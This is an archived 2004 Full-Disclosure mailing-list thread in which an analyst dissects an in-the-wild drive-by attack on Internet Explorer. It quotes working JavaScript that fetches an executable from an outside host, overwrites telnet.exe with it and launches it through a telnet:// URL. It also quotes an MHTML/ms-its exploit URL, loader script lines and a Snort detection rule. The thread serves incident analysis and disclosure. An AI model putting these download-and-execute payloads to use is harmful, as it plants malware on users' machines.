full-disclosure - telnet URL type used in exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <7df124a04072020305a51ece6@mail.gmail.com>
From: michael.hale at gmail.com (Michael Hale)
Subject: telnet URL type used in exploit

Darren,

Glad you asked. This was not something I wrote, rather something I
stumbled upon while investigating another exploit. It began with a
Snort alert per the following rule:

alert tcp any any -> $HOME_NET any (msg:"BLEEDING-EDGE Microsoft MHTML
URL Redirection Attempt"; flow:from_server,established;
content:"mhtml|3A|file|3A|"; nocase; )

Digging through proxy logs, I found the following pages, among others,
had been accessed by the victim PC:

GET http://213.159.117.133/dl/adv74.php -
GET http://213.159.117.133/dl/adv74/x.chm
GET http://213.159.117.133/dl/redir.php
GET http://213.159.117.133/dl/loaderadv74.jar 

The first php file contained this:

location="javascript:'<SCRIPT
SRC=\\'http://213.159.117__.133/dl/loader_adv74.js

That caused the browser to dowload loader_adv74.js, which we will look
at in just a second. Finishing up with the first file, it also
contained this:

ms-its__mhtml__file://c__:\\nosuch.mht!__http://213.159.117.133/dl/adv74/x.chm__/x.htm

(Underscores to prevent poorly written IDS rules from alerting). You
are probably familiar with that; if not:

http://www.kb.cert.org/vuls/id/323070

If that exploit is successful, the code within the decompressed x.chm
runs in the local security zone. Meanwhile, the set has been prepared
by downloading loader_adv.js. It contained the following function:

function getRealShell() {
myiframe.document.write("<SCRIPT
SRC='http://213.159.117.133/dl/shellscript_adv74.js'><\/SCRIPT>");
} 

It was this shellscript_adv74.js file that overwrites telnet.exe with
loadadv74.exe and asks the browser to fetch telnet://.

In this case it would make sense that the script will not exploit
patched browsers such as the one you tested with. It requires a
browser vulnerable to the MHTML exploit, which is how privileges to
overwrite telnet.exe are gained. You might assume that if someone
already has rights to do this, they could execute their code in
several other ways besides calling telnet://. I don't argue. I do
believe it was creative, though.

On Wed, 21 Jul 2004 12:25:33 +1000 (Australia/NSW), Darren Reed
<avalon@...ro.anu.edu.au> wrote:
> Michael,
> 
> Out of curiosity, I tested this with IE 6.0.2800.1106.xpsp2.030422-1633
> and got a popup box saying:
> 
> "This page is accessing information that is not under its
> control. This poses a security risk. Do you want to
> continue?" [Yes] [No]
> 
> And that was loading it into IE as a *local file*...when I put it on
> a web page, I got the usual half dozen alerts about "do you want to run
> javascript", etc. that even if I said yes to it didn't work.
> 
> Did you get that popup box when you tested your script below ?
> 
> Darren
> 
> 
> 
> > In reply the discussion found at:
> >
> > http://seclists.org/lists/fulldisclosure/2004/Jul/0528.html
> >
> > the consesus seems to be that there are no obvious ways to exploit the
> > mentioned URL types, such as tn3270, telnet, LDAP, rlogin etc. While
> > these may not be exploitable per se, they certainly are when used in
> > conjction with other known exploits. Take the following code for
> > example:
> >
> > var downloadurl="http://213.159.117.133/dl/loadadv74.exe";
> >
> > if(navigator.appVersion.indexOf("Windows NT 5.1")!=-1)
> > savetopath="C:\\WINDOWS\\system32\\telnet.exe";
> >
> > if(navigator.appVersion.indexOf("Windows NT 5.0")!=-1)
> > savetopath="C:\\WINNT\\system32\\telnet.exe";
> >
> > payloadURL = downloadurl;
> >
> > var x = new ActiveXObject("Microsoft.XMLHTTP");
> > x.Open("GET",payloadURL,0);
> > x.Send();
> >
> > function bla() { return "A" + "D" + "O" + "D" + "B" + "." + "S" + "t"
> > + "r" + "e" + "a" + "m"; }
> > var s = new ActiveXObject(bla());
> >
> > s.Mode = 3;
> > s.Type = 1;
> > s.Open();
> > s.Write(x.responseBody);
> > s.SaveToFile(savetopath,2);
> >
> > location.href = "telnet://";
> >
> > The JavaScript overwrites telnet.exe with a downloaded executable and
> > then runs it by pointing the browser at telnet://. Instead of
> > launching a telnet shell as expected, the attackers code is executed.
> > This is not only an example of the telnet URL type being involved in
> > an exploit, but one that actually relies on it.
>